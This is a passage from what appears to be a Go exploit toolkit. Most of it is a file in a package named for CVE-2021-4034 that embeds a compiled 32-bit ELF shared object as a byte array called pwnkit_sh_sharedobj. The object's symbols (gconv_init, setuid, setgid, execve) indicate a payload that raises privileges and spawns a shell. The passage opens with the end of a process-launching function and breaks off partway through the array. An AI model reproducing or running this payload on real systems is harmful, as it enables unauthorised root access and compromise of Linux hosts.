return err
}
_, err = process.Wait()
return err
}
================================================
FILE: pkg/exploits/cve20214034/sharedobject_sh_386.go
================================================
//go:build 386
package cve20214034
var pwnkit_sh_sharedobj = []byte{
127, 69, 76, 70, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0,
3, 0, 3, 0, 1, 0, 0, 0, 128, 16, 0, 0, 52, 0, 0, 0,
56, 53, 0, 0, 0, 0, 0, 0, 52, 0, 32, 0, 10, 0, 40, 0,
28, 0, 27, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 212, 3, 0, 0, 212, 3, 0, 0, 4, 0, 0, 0,
0, 16, 0, 0, 1, 0, 0, 0, 0, 16, 0, 0, 0, 16, 0, 0,
0, 16, 0, 0, 40, 2, 0, 0, 40, 2, 0, 0, 5, 0, 0, 0,
0, 16, 0, 0, 1, 0, 0, 0, 0, 32, 0, 0, 0, 32, 0, 0,
0, 32, 0, 0, 16, 1, 0, 0, 16, 1, 0, 0, 4, 0, 0, 0,
0, 16, 0, 0, 1, 0, 0, 0, 8, 47, 0, 0, 8, 63, 0, 0,
8, 63, 0, 0, 24, 1, 0, 0, 28, 1, 0, 0, 6, 0, 0, 0,
0, 16, 0, 0, 2, 0, 0, 0, 16, 47, 0, 0, 16, 63, 0, 0,
16, 63, 0, 0, 224, 0, 0, 0, 224, 0, 0, 0, 6, 0, 0, 0,
4, 0, 0, 0, 4, 0, 0, 0, 116, 1, 0, 0, 116, 1, 0, 0,
116, 1, 0, 0, 76, 0, 0, 0, 76, 0, 0, 0, 4, 0, 0, 0,
4, 0, 0, 0, 83, 229, 116, 100, 152, 1, 0, 0, 152, 1, 0, 0,
152, 1, 0, 0, 40, 0, 0, 0, 40, 0, 0, 0, 4, 0, 0, 0,
4, 0, 0, 0, 80, 229, 116, 100, 84, 32, 0, 0, 84, 32, 0, 0,
84, 32, 0, 0, 44, 0, 0, 0, 44, 0, 0, 0, 4, 0, 0, 0,
4, 0, 0, 0, 81, 229, 116, 100, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 6, 0, 0, 0,
16, 0, 0, 0, 82, 229, 116, 100, 8, 47, 0, 0, 8, 63, 0, 0,
8, 63, 0, 0, 248, 0, 0, 0, 248, 0, 0, 0, 4, 0, 0, 0,
1, 0, 0, 0, 4, 0, 0, 0, 20, 0, 0, 0, 3, 0, 0, 0,
71, 78, 85, 0, 19, 29, 251, 41, 8, 122, 0, 94, 104, 142, 240, 34,
131, 240, 221, 29, 81, 255, 51, 58, 4, 0, 0, 0, 24, 0, 0, 0,
5, 0, 0, 0, 71, 78, 85, 0, 1, 0, 1, 192, 4, 0, 0, 0,
1, 0, 0, 0, 2, 0, 1, 192, 4, 0, 0, 0, 0, 0, 0, 0,
2, 0, 0, 0, 9, 0, 0, 0, 1, 0, 0, 0, 5, 0, 0, 0,
12, 0, 32, 2, 9, 0, 0, 0, 10, 0, 0, 0, 99, 12, 127, 15,
53, 167, 82, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
32, 0, 0, 0, 70, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
34, 0, 0, 0, 109, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
18, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
32, 0, 0, 0, 123, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
18, 0, 0, 0, 116, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
18, 0, 0, 0, 102, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
18, 0, 0, 0, 44, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
32, 0, 0, 0, 85, 0, 0, 0, 125, 17, 0, 0, 16, 0, 0, 0,
18, 0, 12, 0, 91, 0, 0, 0, 141, 17, 0, 0, 126, 0, 0, 0,
18, 0, 12, 0, 0, 95, 95, 103, 109, 111, 110, 95, 115, 116, 97, 114,
116, 95, 95, 0, 95, 73, 84, 77, 95, 100, 101, 114, 101, 103, 105, 115,
116, 101, 114, 84, 77, 67, 108, 111, 110, 101, 84, 97, 98, 108, 101, 0,
95, 73, 84, 77, 95, 114, 101, 103, 105, 115, 116, 101, 114, 84, 77, 67,
108, 111, 110, 101, 84, 97, 98, 108, 101, 0, 95, 95, 99, 120, 97, 95,
102, 105, 110, 97, 108, 105, 122, 101, 0, 103, 99, 111, 110, 118, 0, 103,
99, 111, 110, 118, 95, 105, 110, 105, 116, 0, 115, 101, 116, 117, 105, 100,
0, 115, 101, 116, 103, 105, 100, 0, 101, 120, 101, 99, 118, 101, 0, 101,
120, 105, 116, 0, 108, 105, 98, 99, 46, 115, 111, 46, 54, 0, 71, 76,
73, 66, 67, 95, 50, 46, 48, 0, 71, 76, 73, 66, 67, 95, 50, 46,
49, 46, 51, 0, 0, 0, 0, 0, 2, 0, 3, 0, 0, 0, 3, 0,
3, 0, 3, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 2, 0,
128, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 16, 105, 105, 13,
0, 0, 3, 0, 138, 0, 0, 0, 16, 0, 0, 0, 115, 31, 105, 9,
0, 0, 2, 0, 148, 0, 0, 0, 0, 0, 0, 0, 8, 63, 0, 0,
8, 0, 0, 0, 12, 63, 0, 0, 8, 0, 0, 0, 28, 64, 0, 0,
8, 0, 0, 0, 240, 63, 0, 0, 6, 1, 0, 0, 244, 63, 0, 0,
6, 2, 0, 0, 248, 63, 0, 0, 6, 4, 0, 0, 252, 63, 0, 0,
6, 8, 0, 0, 12, 64, 0, 0, 7, 3, 0, 0, 16, 64, 0, 0,
7, 5, 0, 0, 20, 64, 0, 0, 7, 6, 0, 0, 24, 64, 0, 0,
7, 7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
243, 15, 30, 251, 83, 131, 236, 8, 232, 115, 0, 0, 0, 129, 195, 243,
47, 0, 0, 139, 131, 248, 255, 255, 255, 133, 192, 116, 2, 255, 208, 131,
196, 8, 91, 195, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
255, 179, 4, 0, 0, 0, 255, 163, 8, 0, 0, 0, 0, 0, 0, 0,
255, 163, 12, 0, 0, 0, 104, 0, 0, 0, 0, 233, 224, 255, 255, 255,
255, 163, 16, 0, 0, 0, 104, 8, 0, 0, 0, 233, 208, 255, 255, 255,
255, 163, 20, 0, 0, 0, 104, 16, 0, 0, 0, 233, 192, 255, 255, 255,
255, 163, 24, 0, 0, 0, 104, 24, 0, 0, 0, 233, 176, 255, 255, 255,
139, 28, 36, 195, 102, 144, 102, 144, 102, 144, 102, 144, 102, 144, 102, 144,
232, 228, 0, 0, 0, 129, 194, 107, 47, 0, 0, 141, 138, 32, 0, 0,
0, 141, 130, 32, 0, 0, 0, 57, 200, 116, 29, 139, 130, 240, 255, 255,
255, 133, 192, 116, 19, 85, 137, 229, 131, 236, 20, 81, 255, 208, 131, 196,
16, 201, 195, 141, 116, 38, 0, 144, 195, 141, 180, 38, 0, 0, 0, 0,
232, 164, 0, 0, 0, 129, 194, 43, 47, 0, 0, 85, 137, 229, 83, 141,
138, 32, 0, 0, 0, 141, 130, 32, 0, 0, 0, 131, 236, 4, 41, 200,
137, 195, 193, 232, 31, 193, 251, 2, 1, 216, 209, 248, 116, 20, 139, 146,
252, 255, 255, 255, 133, 210, 116, 10, 131, 236, 8, 80, 81, 255, 210, 131,
196, 16, 139, 93, 252, 201, 195, 141, 180, 38, 0, 0, 0, 0, 102, 144,
243, 15, 30, 251, 85, 137, 229, 83, 232, 83, 255, 255, 255, 129, 195, 211,
46, 0, 0, 131, 236, 4, 128, 187, 32, 0, 0, 0, 0, 117, 40, 139,
131, 244, 255, 255, 255, 133, 192, 116, 18, 131, 236, 12, 255, 179, 28, 0,
0, 0, 255, 147, 244, 255, 255, 255, 131, 196, 16, 232, 48, 255, 255, 255,
198, 131, 32, 0, 0, 0, 1, 139, 93, 252, 201, 195, 141, 116, 38, 0,
243, 15, 30, 251, 233, 87, 255, 255, 255, 139, 20, 36, 195, 85, 137, 229,
232, 134, 0, 0, 0, 5, 123, 46, 0, 0, 144, 93, 195, 85, 137, 229,
83, 131, 236, 52, 232, 231, 254, 255, 255, 129, 195, 103, 46, 0, 0, 139,
69, 8, 137, 69, 212, 101, 161, 20, 0, 0, 0, 137, 69, 244, 49, 192,
141, 131, 0, 224, 255, 255, 137, 69, 228, 199, 69, 232, 0, 0, 0, 0,
141, 131, 8, 224, 255, 255, 137, 69, 236, 199, 69, 240, 0, 0, 0, 0,
131, 236, 12, 106, 0, 232, 150, 254, 255, 255, 131, 196, 16, 131, 236, 12,
106, 0, 232, 89, 254, 255, 255, 131, 196, 16, 139, 69, 228, 131, 236, 4,
141, 85, 236, 82, 141, 85, 228, 82, 80, 232, 98, 254, 255, 255, 131, 196,
16, 131, 236, 12, 106, 0, 232, 69, 254, 255, 255, 139, 4, 36, 195, 0,
243, 15, 30, 251, 83, 131, 236, 8, 232, 99, 254, 255, 255, 129, 195, 227,
45, 0, 0, 131, 196, 8, 91, 195, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
